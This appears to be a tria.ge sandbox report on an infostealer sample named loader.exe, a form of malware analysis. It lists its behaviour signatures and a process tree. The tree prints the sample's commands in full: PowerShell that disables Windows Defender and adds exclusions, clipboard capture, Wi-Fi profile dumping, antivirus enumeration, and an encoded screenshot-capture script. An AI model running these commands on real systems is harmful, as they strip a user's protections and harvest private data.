Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Analysis
-
max time kernel
148s -
max time network
150s -
platform
windows10-2004_x64 -
resource
win10v2004-20241007-en -
resource tags
arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system -
submitted
09/11/2024, 22:45
Behavioral task
behavioral1
Sample
loader.exe
Resource
win7-20241010-en
Behavioral task
behavioral2
Sample
loader.exe
Resource
win10v2004-20241007-en
General
-
Target
loader.exe
-
Size
6.8MB
-
MD5
778d19faa6797d8b17178812eb873638
-
SHA1
de7c7c2ff3be333a7ee22e7c1cf544a33c3e50a6
-
SHA256
46e84b940d02fd62aec006e80b56b52e5cddc86c28e16d959b4837d8b1e1f883
-
SHA512
db8a06e04c2642c2c5cceddb0adb8c0d131b7867b68bcc5a7625f7cdf74bcdaa298d1bf6f83d341255439eee3d1fbd4edd1a7cc6508f3929e1d44d34783b5d61
-
SSDEEP
98304:CgkwN+MdA5wqMr4o8MMhJMjarJaon7JPzf+JiUCS3swhzqgez7DoaZDJ1n6hBnLq:CgV1gB6ylnlPzf+JiJCsmFMvNn6hVv+
Malware Config
Signatures
-
Command and Scripting Interpreter: PowerShell 1 TTPs 5 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
pid Process 3136 powershell.exe 4180 powershell.exe 628 powershell.exe 4628 powershell.exe 1188 powershell.exe -
Clipboard Data 1 TTPs 2 IoCs
Adversaries may collect data stored in the clipboard from users copying information within or between applications.
pid Process 2472 cmd.exe 976 powershell.exe -
Executes dropped EXE 1 IoCs
pid Process 4372 rar.exe -
Loads dropped DLL 17 IoCs
pid Process 2908 loader.exe 2908 loader.exe 2908 loader.exe 2908 loader.exe 2908 loader.exe 2908 loader.exe 2908 loader.exe 2908 loader.exe 2908 loader.exe 2908 loader.exe 2908 loader.exe 2908 loader.exe 2908 loader.exe 2908 loader.exe 2908 loader.exe 2908 loader.exe 2908 loader.exe -
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Unsecured Credentials: Credentials In Files 1 TTPs
Steal credentials from unsecured files.
-
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
-
Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
flow ioc 21 discord.com 22 discord.com -
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 19 ip-api.com -
Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
-
Enumerates processes with tasklist 1 TTPs 3 IoCs
pid Process 2592 tasklist.exe 1160 tasklist.exe 5092 tasklist.exe -
Hide Artifacts: Hidden Files and Directories 1 TTPs 1 IoCs
pid Process 1184 cmd.exe -
resource yara_rule behavioral2/files/0x0007000000023ca2-21.dat upx behavioral2/memory/2908-25-0x00007FF8CE7D0000-0x00007FF8CEDBA000-memory.dmp upx behavioral2/files/0x0007000000023c95-27.dat upx behavioral2/memory/2908-30-0x00007FF8DD550000-0x00007FF8DD573000-memory.dmp upx behavioral2/files/0x0007000000023ca0-31.dat upx behavioral2/files/0x0007000000023c97-43.dat upx behavioral2/files/0x0007000000023c9a-46.dat upx behavioral2/files/0x0007000000023c99-45.dat upx behavioral2/files/0x0007000000023c98-44.dat upx behavioral2/files/0x0007000000023c96-42.dat upx behavioral2/files/0x0007000000023c9c-48.dat upx behavioral2/files/0x0007000000023c9b-47.dat upx behavioral2/memory/2908-41-0x00007FF8E3A60000-0x00007FF8E3A6F000-memory.dmp upx behavioral2/files/0x0007000000023c94-40.dat upx behavioral2/files/0x0007000000023ca7-39.dat upx behavioral2/files/0x0007000000023ca6-38.dat upx behavioral2/files/0x0007000000023ca5-37.dat upx behavioral2/files/0x0007000000023ca1-34.dat upx behavioral2/files/0x0007000000023c9f-33.dat upx behavioral2/memory/2908-54-0x00007FF8DD420000-0x00007FF8DD44D000-memory.dmp upx behavioral2/memory/2908-56-0x00007FF8E3690000-0x00007FF8E36A9000-memory.dmp upx behavioral2/memory/2908-58-0x00007FF8DD3F0000-0x00007FF8DD413000-memory.dmp upx behavioral2/memory/2908-60-0x00007FF8CE0A0000-0x00007FF8CE20F000-memory.dmp upx behavioral2/memory/2908-62-0x00007FF8E1000000-0x00007FF8E1019000-memory.dmp upx behavioral2/memory/2908-64-0x00007FF8E3A50000-0x00007FF8E3A5D000-memory.dmp upx behavioral2/memory/2908-66-0x00007FF8DD060000-0x00007FF8DD08E000-memory.dmp upx behavioral2/memory/2908-70-0x00007FF8CE7D0000-0x00007FF8CEDBA000-memory.dmp upx behavioral2/memory/2908-71-0x00007FF8DCEA0000-0x00007FF8DCF58000-memory.dmp upx behavioral2/memory/2908-74-0x00007FF8DD550000-0x00007FF8DD573000-memory.dmp upx behavioral2/memory/2908-73-0x00007FF8CDD20000-0x00007FF8CE095000-memory.dmp upx behavioral2/memory/2908-84-0x00007FF8CDB40000-0x00007FF8CDC5C000-memory.dmp upx behavioral2/memory/2908-83-0x00007FF8E3690000-0x00007FF8E36A9000-memory.dmp upx behavioral2/memory/2908-77-0x00007FF8DD4F0000-0x00007FF8DD504000-memory.dmp upx behavioral2/memory/2908-79-0x00007FF8E2AE0000-0x00007FF8E2AED000-memory.dmp upx behavioral2/memory/2908-78-0x00007FF8DD420000-0x00007FF8DD44D000-memory.dmp upx behavioral2/memory/2908-141-0x00007FF8DD3F0000-0x00007FF8DD413000-memory.dmp upx behavioral2/memory/2908-182-0x00007FF8CE0A0000-0x00007FF8CE20F000-memory.dmp upx behavioral2/memory/2908-183-0x00007FF8E1000000-0x00007FF8E1019000-memory.dmp upx behavioral2/memory/2908-278-0x00007FF8DD060000-0x00007FF8DD08E000-memory.dmp upx behavioral2/memory/2908-289-0x00007FF8DCEA0000-0x00007FF8DCF58000-memory.dmp upx behavioral2/memory/2908-302-0x00007FF8CDD20000-0x00007FF8CE095000-memory.dmp upx behavioral2/memory/2908-309-0x00007FF8CE0A0000-0x00007FF8CE20F000-memory.dmp upx behavioral2/memory/2908-303-0x00007FF8CE7D0000-0x00007FF8CEDBA000-memory.dmp upx behavioral2/memory/2908-304-0x00007FF8DD550000-0x00007FF8DD573000-memory.dmp upx behavioral2/memory/2908-332-0x00007FF8CDB40000-0x00007FF8CDC5C000-memory.dmp upx behavioral2/memory/2908-341-0x00007FF8E3A50000-0x00007FF8E3A5D000-memory.dmp upx behavioral2/memory/2908-343-0x00007FF8DCEA0000-0x00007FF8DCF58000-memory.dmp upx behavioral2/memory/2908-342-0x00007FF8DD060000-0x00007FF8DD08E000-memory.dmp upx behavioral2/memory/2908-340-0x00007FF8E2AE0000-0x00007FF8E2AED000-memory.dmp upx behavioral2/memory/2908-339-0x00007FF8CE0A0000-0x00007FF8CE20F000-memory.dmp upx behavioral2/memory/2908-338-0x00007FF8DD3F0000-0x00007FF8DD413000-memory.dmp upx behavioral2/memory/2908-337-0x00007FF8E3690000-0x00007FF8E36A9000-memory.dmp upx behavioral2/memory/2908-336-0x00007FF8DD420000-0x00007FF8DD44D000-memory.dmp upx behavioral2/memory/2908-335-0x00007FF8E3A60000-0x00007FF8E3A6F000-memory.dmp upx behavioral2/memory/2908-334-0x00007FF8DD550000-0x00007FF8DD573000-memory.dmp upx behavioral2/memory/2908-333-0x00007FF8CDD20000-0x00007FF8CE095000-memory.dmp upx behavioral2/memory/2908-325-0x00007FF8E1000000-0x00007FF8E1019000-memory.dmp upx behavioral2/memory/2908-330-0x00007FF8DD4F0000-0x00007FF8DD504000-memory.dmp upx behavioral2/memory/2908-318-0x00007FF8CE7D0000-0x00007FF8CEDBA000-memory.dmp upx -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs
Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.
description ioc Process Key opened \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe -
System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs
Adversaries may check for Internet connectivity on compromised systems.
pid Process 4200 PING.EXE 3164 cmd.exe -
System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 2 IoCs
Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.
pid Process 4604 cmd.exe 3700 netsh.exe -
Detects videocard installed 1 TTPs 1 IoCs
Uses WMIC.exe to determine videocard installed.
pid Process 764 WMIC.exe -
Gathers system information 1 TTPs 1 IoCs
Runs systeminfo.exe.
pid Process 4848 systeminfo.exe -
Runs ping.exe 1 TTPs 1 IoCs
pid Process 4200 PING.EXE -
Suspicious behavior: EnumeratesProcesses 23 IoCs
pid Process 3136 powershell.exe 628 powershell.exe 628 powershell.exe 628 powershell.exe 4180 powershell.exe 4180 powershell.exe 976 powershell.exe 976 powershell.exe 3136 powershell.exe 3136 powershell.exe 3492 powershell.exe 3492 powershell.exe 976 powershell.exe 3492 powershell.exe 4180 powershell.exe 4628 powershell.exe 4628 powershell.exe 4292 powershell.exe 4292 powershell.exe 1188 powershell.exe 1188 powershell.exe 4604 powershell.exe 4604 powershell.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 3136 powershell.exe Token: SeDebugPrivilege 628 powershell.exe Token: SeDebugPrivilege 2592 tasklist.exe Token: SeDebugPrivilege 4180 powershell.exe Token: SeDebugPrivilege 1160 tasklist.exe Token: SeIncreaseQuotaPrivilege 4456 WMIC.exe Token: SeSecurityPrivilege 4456 WMIC.exe Token: SeTakeOwnershipPrivilege 4456 WMIC.exe Token: SeLoadDriverPrivilege 4456 WMIC.exe Token: SeSystemProfilePrivilege 4456 WMIC.exe Token: SeSystemtimePrivilege 4456 WMIC.exe Token: SeProfSingleProcessPrivilege 4456 WMIC.exe Token: SeIncBasePriorityPrivilege 4456 WMIC.exe Token: SeCreatePagefilePrivilege 4456 WMIC.exe Token: SeBackupPrivilege 4456 WMIC.exe Token: SeRestorePrivilege 4456 WMIC.exe Token: SeShutdownPrivilege 4456 WMIC.exe Token: SeDebugPrivilege 4456 WMIC.exe Token: SeSystemEnvironmentPrivilege 4456 WMIC.exe Token: SeRemoteShutdownPrivilege 4456 WMIC.exe Token: SeUndockPrivilege 4456 WMIC.exe Token: SeManageVolumePrivilege 4456 WMIC.exe Token: 33 4456 WMIC.exe Token: 34 4456 WMIC.exe Token: 35 4456 WMIC.exe Token: 36 4456 WMIC.exe Token: SeDebugPrivilege 976 powershell.exe Token: SeDebugPrivilege 5092 tasklist.exe Token: SeIncreaseQuotaPrivilege 4456 WMIC.exe Token: SeSecurityPrivilege 4456 WMIC.exe Token: SeTakeOwnershipPrivilege 4456 WMIC.exe Token: SeLoadDriverPrivilege 4456 WMIC.exe Token: SeSystemProfilePrivilege 4456 WMIC.exe Token: SeSystemtimePrivilege 4456 WMIC.exe Token: SeProfSingleProcessPrivilege 4456 WMIC.exe Token: SeIncBasePriorityPrivilege 4456 WMIC.exe Token: SeCreatePagefilePrivilege 4456 WMIC.exe Token: SeBackupPrivilege 4456 WMIC.exe Token: SeRestorePrivilege 4456 WMIC.exe Token: SeShutdownPrivilege 4456 WMIC.exe Token: SeDebugPrivilege 4456 WMIC.exe Token: SeSystemEnvironmentPrivilege 4456 WMIC.exe Token: SeRemoteShutdownPrivilege 4456 WMIC.exe Token: SeUndockPrivilege 4456 WMIC.exe Token: SeManageVolumePrivilege 4456 WMIC.exe Token: 33 4456 WMIC.exe Token: 34 4456 WMIC.exe Token: 35 4456 WMIC.exe Token: 36 4456 WMIC.exe Token: SeDebugPrivilege 3492 powershell.exe Token: SeDebugPrivilege 4628 powershell.exe Token: SeDebugPrivilege 4292 powershell.exe Token: SeIncreaseQuotaPrivilege 3908 WMIC.exe Token: SeSecurityPrivilege 3908 WMIC.exe Token: SeTakeOwnershipPrivilege 3908 WMIC.exe Token: SeLoadDriverPrivilege 3908 WMIC.exe Token: SeSystemProfilePrivilege 3908 WMIC.exe Token: SeSystemtimePrivilege 3908 WMIC.exe Token: SeProfSingleProcessPrivilege 3908 WMIC.exe Token: SeIncBasePriorityPrivilege 3908 WMIC.exe Token: SeCreatePagefilePrivilege 3908 WMIC.exe Token: SeBackupPrivilege 3908 WMIC.exe Token: SeRestorePrivilege 3908 WMIC.exe Token: SeShutdownPrivilege 3908 WMIC.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 1520 wrote to memory of 2908 1520 loader.exe 83 PID 1520 wrote to memory of 2908 1520 loader.exe 83 PID 2908 wrote to memory of 4936 2908 loader.exe 87 PID 2908 wrote to memory of 4936 2908 loader.exe 87 PID 2908 wrote to memory of 1532 2908 loader.exe 88 PID 2908 wrote to memory of 1532 2908 loader.exe 88 PID 2908 wrote to memory of 1184 2908 loader.exe 89 PID 2908 wrote to memory of 1184 2908 loader.exe 89 PID 2908 wrote to memory of 4060 2908 loader.exe 90 PID 2908 wrote to memory of 4060 2908 loader.exe 90 PID 1532 wrote to memory of 628 1532 cmd.exe 95 PID 1532 wrote to memory of 628 1532 cmd.exe 95 PID 2908 wrote to memory of 4672 2908 loader.exe 96 PID 2908 wrote to memory of 4672 2908 loader.exe 96 PID 2908 wrote to memory of 1500 2908 loader.exe 98 PID 2908 wrote to memory of 1500 2908 loader.exe 98 PID 4060 wrote to memory of 3136 4060 cmd.exe 100 PID 4060 wrote to memory of 3136 4060 cmd.exe 100 PID 1184 wrote to memory of 4448 1184 cmd.exe 101 PID 1184 wrote to memory of 4448 1184 cmd.exe 101 PID 2908 wrote to memory of 4836 2908 loader.exe 102 PID 2908 wrote to memory of 4836 2908 loader.exe 102 PID 2908 wrote to memory of 2472 2908 loader.exe 104 PID 2908 wrote to memory of 2472 2908 loader.exe 104 PID 2908 wrote to memory of 2972 2908 loader.exe 105 PID 2908 wrote to memory of 2972 2908 loader.exe 105 PID 4936 wrote to memory of 4180 4936 cmd.exe 107 PID 4936 wrote to memory of 4180 4936 cmd.exe 107 PID 1500 wrote to memory of 2592 1500 cmd.exe 108 PID 1500 wrote to memory of 2592 1500 cmd.exe 108 PID 2908 wrote to memory of 824 2908 loader.exe 136 PID 2908 wrote to memory of 824 2908 loader.exe 136 PID 4672 wrote to memory of 1160 4672 cmd.exe 110 PID 4672 wrote to memory of 1160 4672 cmd.exe 110 PID 2908 wrote to memory of 4604 2908 loader.exe 113 PID 2908 wrote to memory of 4604 2908 loader.exe 113 PID 2908 wrote to memory of 3892 2908 loader.exe 114 PID 2908 wrote to memory of 3892 2908 loader.exe 114 PID 2908 wrote to memory of 4004 2908 loader.exe 117 PID 2908 wrote to memory of 4004 2908 loader.exe 117 PID 4836 wrote to memory of 4456 4836 cmd.exe 119 PID 4836 wrote to memory of 4456 4836 cmd.exe 119 PID 2472 wrote to memory of 976 2472 cmd.exe 120 PID 2472 wrote to memory of 976 2472 cmd.exe 120 PID 824 wrote to memory of 3424 824 cmd.exe 121 PID 824 wrote to memory of 3424 824 cmd.exe 121 PID 2972 wrote to memory of 5092 2972 cmd.exe 123 PID 2972 wrote to memory of 5092 2972 cmd.exe 123 PID 3892 wrote to memory of 4848 3892 cmd.exe 124 PID 3892 wrote to memory of 4848 3892 cmd.exe 124 PID 4604 wrote to memory of 3700 4604 cmd.exe 125 PID 4604 wrote to memory of 3700 4604 cmd.exe 125 PID 4004 wrote to memory of 3492 4004 cmd.exe 126 PID 4004 wrote to memory of 3492 4004 cmd.exe 126 PID 2908 wrote to memory of 4996 2908 loader.exe 127 PID 2908 wrote to memory of 4996 2908 loader.exe 127 PID 4996 wrote to memory of 2904 4996 cmd.exe 129 PID 4996 wrote to memory of 2904 4996 cmd.exe 129 PID 2908 wrote to memory of 404 2908 loader.exe 130 PID 2908 wrote to memory of 404 2908 loader.exe 130 PID 404 wrote to memory of 4564 404 cmd.exe 132 PID 404 wrote to memory of 4564 404 cmd.exe 132 PID 3492 wrote to memory of 3856 3492 powershell.exe 133 PID 3492 wrote to memory of 3856 3492 powershell.exe 133 -
Views/modifies file attributes 1 TTPs 1 IoCs
pid Process 4448 attrib.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\loader.exe"C:\Users\Admin\AppData\Local\Temp\loader.exe"1⤵
- Suspicious use of WriteProcessMemory
PID:1520 -
C:\Users\Admin\AppData\Local\Temp\loader.exe"C:\Users\Admin\AppData\Local\Temp\loader.exe"2⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:2908 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\loader.exe'"3⤵
- Suspicious use of WriteProcessMemory
PID:4936 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\loader.exe'4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4180
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"3⤵
- Suspicious use of WriteProcessMemory
PID:1532 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:628
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "attrib +h +s "C:\Users\Admin\AppData\Local\Temp\loader.exe""3⤵
- Hide Artifacts: Hidden Files and Directories
- Suspicious use of WriteProcessMemory
PID:1184 -
C:\Windows\system32\attrib.exeattrib +h +s "C:\Users\Admin\AppData\Local\Temp\loader.exe"4⤵
- Views/modifies file attributes
PID:4448
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ .scr'"3⤵
- Suspicious use of WriteProcessMemory
PID:4060 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ .scr'4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3136
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "tasklist /FO LIST"3⤵
- Suspicious use of WriteProcessMemory
PID:4672 -
C:\Windows\system32\tasklist.exetasklist /FO LIST4⤵
- Enumerates processes with tasklist
- Suspicious use of AdjustPrivilegeToken
PID:1160
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "tasklist /FO LIST"3⤵
- Suspicious use of WriteProcessMemory
PID:1500 -
C:\Windows\system32\tasklist.exetasklist /FO LIST4⤵
- Enumerates processes with tasklist
- Suspicious use of AdjustPrivilegeToken
PID:2592
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"3⤵
- Suspicious use of WriteProcessMemory
PID:4836 -
C:\Windows\System32\Wbem\WMIC.exeWMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName4⤵
- Suspicious use of AdjustPrivilegeToken
PID:4456
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"3⤵
- Clipboard Data
- Suspicious use of WriteProcessMemory
PID:2472 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell Get-Clipboard4⤵
- Clipboard Data
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:976
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "tasklist /FO LIST"3⤵
- Suspicious use of WriteProcessMemory
PID:2972 -
C:\Windows\system32\tasklist.exetasklist /FO LIST4⤵
- Enumerates processes with tasklist
- Suspicious use of AdjustPrivilegeToken
PID:5092
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "tree /A /F"3⤵
- Suspicious use of WriteProcessMemory
PID:824 -
C:\Windows\system32\tree.comtree /A /F4⤵PID:3424
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "netsh wlan show profile"3⤵
- System Network Configuration Discovery: Wi-Fi Discovery
- Suspicious use of WriteProcessMemory
PID:4604 -
C:\Windows\system32\netsh.exenetsh wlan show profile4⤵
- Event Triggered Execution: Netsh Helper DLL
- System Network Configuration Discovery: Wi-Fi Discovery
PID:3700
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "systeminfo"3⤵
- Suspicious use of WriteProcessMemory
PID:3892 -
C:\Windows\system32\systeminfo.exesysteminfo4⤵
- Gathers system information
PID:4848
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA="3⤵
- Suspicious use of WriteProcessMemory
PID:4004 -
